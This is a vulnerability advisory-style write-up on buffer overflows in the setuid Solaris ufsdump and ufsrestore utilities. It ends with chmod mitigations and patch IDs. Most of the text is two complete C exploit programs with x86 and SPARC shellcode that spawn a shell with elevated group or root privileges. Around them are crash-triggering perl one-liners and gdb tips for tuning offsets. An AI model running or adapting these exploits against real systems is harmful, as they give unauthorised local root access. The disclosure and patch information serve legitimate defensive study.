COMMAND

    /usr/lib/fs/ufs/ufsdump (and /usr/lib/fs/ufs/ufsrestore)

SYSTEMS AFFECTED

    Sun 2.5, 2.5.1

PROBLEM

    Following info is based on Sun Security Advisory.  The  ufsrestore
    utility is used  to restore files  from backup media  created with
    the ufsdump command. A vulnerability has been found in  ufsrestore
    which, if exploited, would permit a user to become root.   Exploit
    follows.   Originally this  was found  by Seth  McGann.   Firstly,
    /usr/lib/fs/ufs/ufsdump will segfault if  passed a device name  of
    sufficent length.  Straight forward overflow.  When the  shellcode
    executes /bin/id, it says the egid=tty.  It may be nice to be tty,
    even   if   we    can't   be   root.      The   second    problem,
    /usr/lib/fs/ufs/ufsrestore  also  segfaults  when  passed a device
    name of sufficent length.   However, on inspection with gdb  it is
    evident that once the EIP is overwritten, execution jumps to  0x0.
    To test the vulnerability:

        /usr/lib/fs/ufs/ufsdump 1 `perl -e 'print "a" x 2000'`
        /usr/lib/fs/ufs/ufsrestore xf `perl -e 'print "a" x 2000'`

    Here's the exploit for ufsdump:

    /* ufsdump.c
     * Description:  Overflows a buffer to give you EGID=tty.
     * At least that's what id reports.
     * The running shell thinks its still the user.  Maybe I'm
     * doing something wrong?  At any
     * rate,  here ya go, have fun.
     *
     *  smm@wpi.edu
     *  Thanks to: Jesse Schachter for the box, and
     *  Unknown parties for the shellcode. (probably Aleph1).
     */

    #include <stdio.h>
    static inline getesp() {
      __asm__(" movl %esp,%eax ");
    }
    main(int argc, char **argv) {
      int i,j,buffer,offset;
      long unsigned esp;
      char unsigned buf[4096];
      unsigned char
      shellcode[]=
          "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3"
            "\x33\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05"
            "\x07\x88\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff"
            "\xff\x0f\x0f\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46"
            "\x0c\x50\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff"
            "\x83\xc4\x0c\x6a\x01\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4"
            "\xff\xff\xff/bin/sh";
      buffer=895;
      offset=3500;
      if (argc>1)buffer=atoi(argv[1]);
      if (argc>2)offset=atoi(argv[2]);
      for (i=0;i<buffer;i++)
          buf[i]=0x41;  /* inc ecx */
      j=0;
      for (i=buffer;i<buffer+strlen(shellcode);i++)
          buf[i]=shellcode[j++];
      esp=getesp()+offset;
      buf[i]=esp & 0xFF;
      buf[i+1]=(esp >> 8) & 0xFF;
      buf[i+2]=(esp >> 16) & 0xFF;
      buf[i+3]=(esp >> 24) & 0xFF;
      buf[i+4]=esp & 0xFF;
      buf[i+5]=(esp >> 8) & 0xFF;
      buf[i+6]=(esp >> 16) & 0xFF;
      buf[i+7]=(esp >> 24) & 0xFF;
      printf("Offset: 0x%x\n\n",esp);
      execl("/usr/lib/fs/ufs/ufsdump","ufsdump","1",buf,NULL);
    }

    ... and here's another that  won't work or will.   Original author
    had a  lot of  people contact  him and  tell him  that the exploit
    either works  on all  of their  machines, or  doesn't work at all.
    The way he originally wrote  it, it jumps into where  argv[0] sits
    above the stack.  Assuming that solaris works the same way as  bsd
    in this respect  (please correct me  here), the memory  looks like
    this:

        env strings
        argv strings
        env pointers
        argv pointers
        stack

    So, the exploit's  fake return address  was based upon  the offset
    between a  place in  the stack,  and the  first argv[] string. The
    problem with this is that if someone has a different number of env
    variables  defined,  the  number  of  env pointers will be higher,
    and the accuracy  of the guess  will be shot.  So, you can  either
    mess with the offset by passing an argument that is a multiple  of
    8, or you can rewrite it to jump into the stack.  (just gdb a core
    dump and do x/42 0xefffd000 or somewhere near that (sometimes  its
    at 0xdfffxxxx on some 2.4 boxes  i think) and hit enter until  you
    find the shellcode).

    // ufsrestore solaris 2.4, 2.5, 2.5.1, 2.6 exploit
    // by humble
    // thanks to plaguez for help

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>

    #define BUF_LENGTH 300
    #define EXTRA 100
    #define STACK_OFFSET -600
    #define SPARC_NOP 0xac15a16e

    // normal shell code cept I added a bunch of sll's and add's
    // to get rid of a 2f '/' in there (from the sethi 0xbdcda, %l7)
    // I don't know sparc assembly so this might be dumb :P

    // also added code to do seteuid(0); setuid(0); from erik's buffer
    // overrun page

    u_char sparc_shellcode[] =
    "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
    "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
       "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
       "\xae\x10\x2b\xdc\xaf\x2d\xe0\x01\xae\x05\xe0\x01"
       "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
       "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
       "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x01"
       "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x0a"
       "\x90\x0b\x80\x0e"
       "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
       "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
       "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

       u_long get_sp(void)
       {
       __asm__("mov %sp,%i0 \n");
       }

       void main(int argc, char *argv[])
       {
       char buf[BUF_LENGTH + EXTRA + 8];
       long targ_addr;
       u_long *long_p;
       u_char *char_p;
       int i, code_length = strlen(sparc_shellcode),dso=0,a=0;

       if(argc > 1) dso=atoi(argv[1]);

       long_p =(u_long *) buf ;
       targ_addr = get_sp() - STACK_OFFSET - dso;
       for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
       *long_p++ = SPARC_NOP;

       char_p = (u_char *) long_p;

       for (i = 0; i < code_length; i++)
       *char_p++ = sparc_shellcode[i];

       long_p = (u_long *) char_p;

       for (i = 0; i < EXTRA / sizeof(u_long); i++)
       *long_p++ =targ_addr;

       printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
       targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
       printf("hit ctrl-c and then type y\n");
       execl("/usr/lib/fs/ufs/ufsrestore", &buf[4],"if", "-",(char *) 0);
       perror("execl failed");
       }

SOLUTION

    Patches 105722-01 and 105724-01 don't address this  vulnerability.
    Fix for now:

        chmod ug-s /usr/lib/fs/ufs/ufsdump
        chmod u-s /usr/lib/fs/ufs/ufsrestore

    The  following  patches  are  available  in  relation to the above
    problem (NOTE: ONE FOR 5.5.1 DOESN'T SEEM TO WORK AT ALL!!!!!):

        SunOS               Patch ID
        -----               --------
        SunOS 5.5.1         104490-05
        SunOS 5.5.1_x86     104491-04
        SunOS 5.5           103261-06
        SunOS 5.5_x86       103262-06